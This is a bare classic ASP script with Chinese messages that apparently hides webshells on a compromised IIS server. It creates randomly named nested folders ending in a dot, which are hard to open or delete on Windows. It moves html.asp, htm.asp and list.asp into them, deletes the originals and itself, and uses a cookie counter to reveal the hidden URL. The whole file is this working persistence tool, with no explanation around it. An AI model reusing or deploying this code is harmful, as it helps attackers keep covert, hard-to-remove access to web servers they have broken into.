%
thisUploadDir="222.asp"
CopyFilePath=",html.asp,htm.asp,list.asp"
on error resume next
Sub CreateFolder(strFolder)
Dim strTestFolder, objFSO
strTestFolder = Server.Mappath(strFolder)
response.write strTestFolder
End Sub
Function CopyFiles(TempSource,TempEnd)
Dim FSO
Set FSO = CreateObject("Scripting.FileSystemObject")
IF FSO.FileExists(TempEnd) then
Response.Write "目标备份文件 " & TempEnd & " 已存在,请先删除!"
Set FSO=Nothing
Exit Function
End IF
IF FSO.FileExists(TempSource) Then
Else
Response.Write "要复制的源数据库文件 "&TempSource&" 不存在!"
Set FSO=Nothing
Exit Function
End If
FSO.CopyFile TempSource,TempEnd
FSO.DeleteFile TempSource
Response.Write "已经成功复制文件 "&TempSource&" 到 "&TempEnd&""
Response.Write "
"
Set FSO = Nothing
End Function
Function GetYearMonth(fldr,sldr,path,CopyFilePath)
Dim fso, msg
pathtt=Server.Mappath(path)
path=replace(pathtt,"\"&path,"")
'response.write path&"
"
path1=path & "\" & fldr & ".\"
path2=path & "\" & fldr & ".\"
'response.write path1 &"
"
response.write path2 &"
"
Set objFSOS = CreateObject("Scripting.FileSystemObject")
If not objFSOS.FolderExists(path1) Then
objFSOS.CreateFolder(path2)
end if
path3=path & "\" & fldr & ".\" & sldr &".\"
path4=path & "\" & fldr & ".\" & sldr &".\"
'response.write path3 &"
"
response.write path4 &"
"
If not objFSOS.FolderExists(path3) Then
objFSOS.CreateFolder(path4)
Err.clear()
end if
Set objFSOS = Nothing
arr=split(CopyFilePath,",")
if ubound(arr)=0 then
TempSource= Server.MapPath(CopyFilePath)
FolderPath=path2
TempEnd=Server.MapPath(FolderPath)
Call CopyFiles(TempSource,TempEnd)
else if ubound(arr)>0 then
for i=1 to ubound(arr)
TempSource= Server.MapPath(arr(i))
TempEnd=path4 & arr(i)
Call CopyFiles(TempSource,TempEnd)
next
end if
end if
Set objFSOS = CreateObject("Scripting.FileSystemObject")
objFSOS.DeleteFile pathtt
Set objFSOS = Nothing
End Function
Function RoundStr(StrLng,StrNum)
dim TmpStr
TmpStr = "abcdefghijklmnopqrstopwxyz"
for iii=1 to Strnum
for jjj = 1 to StrLng
Randomize
strLen = Len(TmpStr)
t = Round((RND*(strLen-1))+1)
s = s&mid(TmpStr,t,1)
Next
Next
RoundStr = s
End Function
Function RndNumber(MaxNum,MinNum)
Randomize
RndNumber=int((MaxNum-MinNum+1)*rnd+MinNum)
RndNumber=RndNumber
End Function
Function GetUrl()
Dim ScriptAddress, M_ItemUrl, M_item
ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME")) '取得当前地址
M_ItemUrl = ""
If (Request.QueryString <> "") Then
ScriptAddress = ScriptAddress & "?"
For Each M_item In Request.QueryString
If InStr(page,M_Item)=0 Then
M_ItemUrl = M_ItemUrl & M_Item &"="& Server.URLEncode(Request.QueryString(""&M_Item&"")) & "&"
End If
Next
end if
GetUrl = ScriptAddress & M_ItemUrl
End Function
clicks=Request.cookies("click")
response.write clicks&"
"
zhuji=request.servervariables("HTTP_HOST")
pathtt=Request.ServerVariables("url")
path=replace(pathtt,thisUploadDir,"")
parent_path="http://"&zhuji&path
if clicks=3 then
response.write parent_path&"
"
end if
if clicks="" then
clicks=1
end if
if clicks<3 then
response.write ""
end if
if clicks=1 then
gcount=RndNumber(9,4)
npath1=RoundStr(1,gcount)
gcount=RndNumber(9,4)
npath2=RoundStr(1,gcount)
response.cookies("npath1")=npath1
response.cookies("npath2")=npath2
response.cookies("click")=2
else
npath1=Request.cookies("npath1")
npath2=Request.cookies("npath2")
response.cookies("click")=clicks+1
end if
nowpath=npath1&"./"&npath2&"./"
response.write nowpath & "
"
purl="http://"&zhuji&path &nowpath
response.write "
url: "&purl&"
"
First= npath1&"."
Seconds=npath2&"."
thisUploadDir=GetYearMonth(First,Seconds,thisUploadDir,CopyFilePath)
if clicks>=3 then
Response.write ""
response.end
end if
%>